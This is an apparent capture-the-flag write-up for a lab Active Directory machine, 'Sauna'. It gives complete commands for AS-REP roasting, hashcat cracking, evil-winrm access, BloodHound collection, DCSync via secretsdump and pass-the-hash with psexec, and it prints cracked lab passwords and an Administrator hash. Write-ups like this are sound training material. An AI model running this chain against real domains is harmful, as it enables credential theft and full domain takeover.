Sauna¶

Machine Profile

OS: Windows Server (Active Directory) Difficulty: Easy IP: 10.10.10.175 Domain: EGOTISTICAL-BANK.LOCAL Pwned: 13–14 Jan 2026 (user + system) Key techniques: Web-based user enumeration · AS-REP Roasting · BloodHound path → DCSync

Reconnaissance¶

Port Scan¶

Full AD profile:

53/tcp    DNS
80/tcp    HTTP — IIS 10.0 (Egotistical Bank)
88/tcp    Kerberos
135/tcp   MSRPC
139/tcp   NetBIOS
389/636   LDAP / LDAPS
445/tcp   SMB
3268/9    LDAP Global Catalog
5985      WinRM

Web Enumeration¶

Port 80 hosts a brochure site for Egotistical Bank. The /about.html page contains a "Meet our team" block listing the staff:

Fergus Smith
Shaun Coins
Hugo Bear
Bowie Taylor
Sophie Driver
Steven Kerb

That's a username enumeration goldmine. AD username formats are predictable — generate the typical variants (firstinitial.lastname, firstname.lastname, first.l, etc.) and feed them to Kerberos AS-REP roasting.

Initial Foothold — AS-REP Roasting¶

impacket-GetNPUsers queries the KDC for accounts that have "Do not require Kerberos preauthentication" set. If any of the guessed usernames matches a real account with that flag, the DC will return an AS-REP message that can be cracked offline:

impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt \
    -no-pass -dc-ip 10.10.10.175

The format-fsmith variant lands:

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:b8c...

Crack with hashcat (-m 18200):

hashcat -m 18200 -a 0 fsmith.hash /usr/share/wordlists/rockyou.txt
# fsmith : Thestrokes23

WinRM as fsmith¶

evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23

user.txt is on Fergus's desktop.

Privilege Escalation — BloodHound → DCSync¶

Collect BloodHound data from inside the WinRM shell (or remotely with bloodhound-python):

bloodhound-python -d EGOTISTICAL-BANK.LOCAL \
    -u fsmith -p Thestrokes23 -c all -ns 10.10.10.175

BloodHound collection

WinPEAS on the box also surfaces an autologon credential in the registry — svc_loanmgr : Moneymakestheworldgoround!. That account turns out to have GetChangesAll rights on the domain — i.e., it can perform a DCSync to dump every secret in AD.

DCSync as svc_loanmgr¶

impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.175

This dumps the full NTDS.dit — including the krbtgt hash and the Administrator NT hash:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::

Pass-the-Hash → root¶

impacket-psexec -hashes :823452073d75b9d1cf70ebdf86c7f98e \
    Administrator@10.10.10.175

SYSTEM shell. type C:\Users\Administrator\Desktop\root.txt.

Sauna pwn confirmation

Key Takeaways¶

AS-REP roasting is a free shot at any AD environment. It costs nothing — no creds required, just a username list. Always try it first.
About / Team pages = username goldmines. Marketing fluff like "Meet the team" maps directly to AD account names.
Autologon credentials in the registry are still a thing. WinPEAS / Seatbelt always check HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.
DCSync rights are not "Domain Admin lite" — they ARE Domain Admin. Any account with GetChangesAll can extract every credential in the domain, including krbtgt, which then enables Golden Tickets.

Tools Used¶

nmap · impacket-GetNPUsers · hashcat · evil-winrm · bloodhound-python · WinPEAS · impacket-secretsdump · impacket-psexec